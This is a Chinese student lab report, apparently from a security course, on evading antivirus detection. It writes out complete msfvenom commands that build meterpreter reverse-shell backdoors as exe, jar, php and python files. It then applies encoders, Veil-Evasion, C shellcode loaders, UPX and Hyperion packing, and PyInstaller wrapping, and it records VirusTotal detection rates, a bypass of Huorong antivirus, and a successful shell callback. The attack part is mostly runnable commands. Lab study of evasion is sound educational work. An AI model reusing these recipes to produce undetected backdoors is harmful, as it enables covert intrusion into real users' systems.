1.实验内容
- 
学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。 
- 
尝试实现恶意代码免杀。 
- 
理解免杀机制和原理,认识到杀软局限性。 
2.实验过程
2.1 免杀效果参考基准
2.1.1 免杀效果的评价
用VirusTotal评价免杀效果。
2.1.2 参考基准
- 
kali虚拟机上,msfvenom直接生成meterpreter可执行文件20232420backdoor.exe。指令为 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor.exe。
 ![屏幕截图 2025-10-27 084417]() 
- 
对该文件用VirusTotal检出率为47/70,即用70不同的反病毒引擎对文件进行扫描,其中有47个判断文件是恶意的。以此作为后续免杀效果的参考基准。 
 ![屏幕截图 2025-10-27 092559]() 
2.2 不同格式文件及Msfvenom使用编码器
2.2.1 exe文件和编码的exe文件
- 
使用msfvenom自带的编码器对后门文件进行编码,这里采用编码格式 x86/shikata_ga_nai,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded.exe。检出率为43/71,没什么效果。
 ![屏幕截图 2025-10-27 090515]() 
 ![屏幕截图 2025-10-27 092720]() 
- 
用参数 -i设置编码次数为10次,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded10.exe。检出率为42/71,可见这种免杀方式效果不明显。
 ![屏幕截图 2025-10-27 092301]() 
 ![屏幕截图 2025-10-27 092956]() 
2.2.2 jar文件和编码的jar文件
- 
使用msfvenom改为生成jar文件,指令为 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.jar。检出率为35/64,有明显提升。
 ![屏幕截图 2025-10-27 093410]() 
 ![屏幕截图 2025-10-27 094056]() 
- 
对jar文件进行10次编码 msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.jar。检出率仍为35/64,可见改为jar文件能使后门文件更不容易被检测出来,而编码依旧没用。
 ![屏幕截图 2025-10-27 093713]() 
 ![屏幕截图 2025-10-27 094953]() 
2.2.3 php文件和编码的php文件
- 
改为生成php文件,指令为 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.php。检出率为25/62,有明显免杀作用。
 ![屏幕截图 2025-10-27 100059]() 
 ![屏幕截图 2025-10-27 100259]() 
- 
将php文件编码10次,指令为 msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.php,检出率为9/62,这一次编码后免杀效果明显,这是由于反病毒引擎对php文件的检测更依赖静态代码特征匹配,而多次编码后,静态特征被加密和混淆,引擎难以直接识别。
 ![屏幕截图 2025-10-27 100105]() 
 ![屏幕截图 2025-10-27 100432]() 
2.3 使用免杀平台Veil-Evasion
- 
安装好veil,进入操作界面,可以看到两个选项Evasion和Ordnance,Evasion用于生成免杀恶意payload,Ordnance用于生成辅助攻击工具或组件,这里 use 1。
 ![屏幕截图 2025-10-27 140123]() 
 ![屏幕截图 2025-10-27 140215]() 
- 
输入 list,查看可以使用的Payloads。
 ![屏幕截图 2025-10-27 140250]() 
- 
这里 use 7,即使用c语言的c/meterpreter/rev_tcp,配置好信息,生成可执行文件。
 ![屏幕截图 2025-10-27 140410]() 
set LHOST 192.168.190.128 #回连IP
set LPORT 2420 #回连端口                                   
generate
20232420payload #可执行文件名

- 
在指定路径 /var/lib/veil/output/compiled/找到生成的可执行文件。
 ![屏幕截图 2025-10-27 140749]() 
- 
测试生成的可执行文件,检出率为36/71,说明veil有一定的免杀能力。 
 ![图片]() 
2.4 C语言调用Shellcode
- 
通过命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f c,得到C语言格式下的一个shellcode。
 ![屏幕截图 2025-10-27 142833]() 
- 
将这段shellcode写入一个C语言程序当中,内容如下: 
 ![屏幕截图 2025-10-27 143410]() 
 ![屏幕截图 2025-10-27 143143]() 
- 
通过命令 i686-w64-mingw32-g++ 20232420_c_shellcode.c -o 20232420_c_shellcode.exe将其编译成可执行文件。
 ![屏幕截图 2025-10-27 143417]() 
- 
测试生成的可执行文件,检出率为39/72,说明C语言调用Shellcode有一定的免杀能力。 
 ![屏幕截图 2025-10-27 143508]() 
2.5 加壳
2.5.1 压缩壳UPX
- 
通过命令 upx 20232420_c_shellcode.exe -o 20232420_c_shellcode_upx.exe,给刚才的shellcode加一个UPX压缩壳。
 ![屏幕截图 2025-10-27 144224]() 
- 
测试生成的可执行文件,检出率为42/71,加了壳,免杀效果反而变差了。 
 ![屏幕截图 2025-10-27 144937]() 
2.5.2 加密壳Hyperion
- 
输入命令 cp 20232420_c_shellcode.exe /usr/share/windows-resources/hyperion/,将可执行文件20232420_c_shellcode.exe复制到Hyperion所在的目录中。
 输入命令cd /usr/share/windows-resources/hyperion/,将工作目录切换为Hyperion所在的目录。
 输入命令wine hyperion.exe -v 20232420_c_shellcode.exe 20232420_c_shellcode_hyp.exe,生成新的可执行文件20232420_c_shellcode_hyp.exe。
 ![屏幕截图 2025-10-27 145928]() 
 ![屏幕截图 2025-10-27 150536]() 
 ![屏幕截图 2025-10-27 150552]() 
- 
测试生成的可执行文件,检出率为51/71,免杀效果也变差了。推测是因为这些加壳工具本身已经被高度警惕,加壳文件会直接被视为高风险文件。 
 ![屏幕截图 2025-10-27 150916]() 
2.6 通过组合使用msfvenom工具与封装技术尝试实现恶意代码免杀
- 
输入指令 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f raw > 20232420_python_shellcode.py,生成python格式的后门文件。
 ![屏幕截图 2025-10-27 171553]() 
- 
将其复制到windows主机,在终端中输入指令 pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232420_python_shellcode.py,将包含shellcode的python脚本打包为单文件.exe,运行时不显示控制台窗口,指定getpass、code、platform、shlex四个python标准库模块,利用打包工具的封装性隐藏原始代码的静态特征。
 ![屏幕截图 2025-10-27 165809]() 
 ![屏幕截图 2025-10-27 165833]() 
- 
用火绒查杀,没有发现该文件。推测是因为PyInstaller生成的.exe在很多场景下被视为“正常工具”,火绒可能对其执行的代码采取更宽松的检测策略。 
 ![屏幕截图 2025-10-27 183749]() 
- 
测试生成的可执行文件,检出率为17/72,免杀效果还是比较理想的。 
 ![屏幕截图 2025-10-27 173039]() 
- 
在火绒打开的情况下,尝试回连获取shell,成功。(注意参数是 set payload python/meterpreter/reverse_tcp)
 ![屏幕截图 2025-10-27 170135]() 
 ![屏幕截图 2025-10-27 174945]() 
3.问题及解决方案
- 
问题1:使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差。 
- 
问题1解决方案:原因可能在于反病毒引擎对“加壳文件”的态度是“宁错杀不放过”,这些加壳工具本身已被反病毒引擎深度标记,只要检测到,默认标记为高风险。 
- 
问题2:能执行.exe,却无法建立meterpreter会话。 
- 
问题2解决方案: 参数一开始用的是set payload windows/meterpreter/reverse_tcp,应该改为set payload python/meterpreter/reverse_tcp。 
4.问题回答
(1)杀软是如何检测出恶意代码的?
- 主要是通过两个方面来检查,一是静态特征匹配,看是否具有已知恶意代码的特征;二是动态行为分析,检测软件是否作出任何可疑行为,如建立不正常的连接、修改系统配置等。
(2)免杀是做什么?
- 免杀是指通过技术手段修改或隐藏恶意代码的特征与行为,使其看起来像正常程序,能够绕过杀软的检测与拦截,在目标系统中正常执行恶意功能。
(3)免杀的基本方法有哪些?
- 目前看到的免杀方法基本都是对抗静态特征匹配,利用编码、压缩壳、加密壳、冗余代码插入等方式破坏静态特征,从而避免被杀软检测出来;还可以行为模拟正常程序,将恶意操作伪装成合法行为,如将建立不正常的连接模拟成浏览器访问。
5.学习感悟
本次实验中尝试了msfvenom编码器通过编码破坏静态特征,使用Veil-Evasion通过模板生成免杀payload,C语言调用Shellcode以及加壳,理解了静态免杀的核心是破坏杀软的特征码匹配,而动态免杀的关键是规避行为分析。过程中还发现了使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差这一现象,这说明了免杀最重要的是隐蔽和伪装,用的手段越多,反而可能让恶意软件更显眼,效果反而更差。了解了免杀的工具和技术,也就能学会如何反制,然而对恶意软件的检测往往有滞后性,要认识到杀软的局限性,在生活中更要在社会工程学方面提高对于恶意软件防范能力。
参考资料
《0x23_MAL_免杀原理与实践.md》






































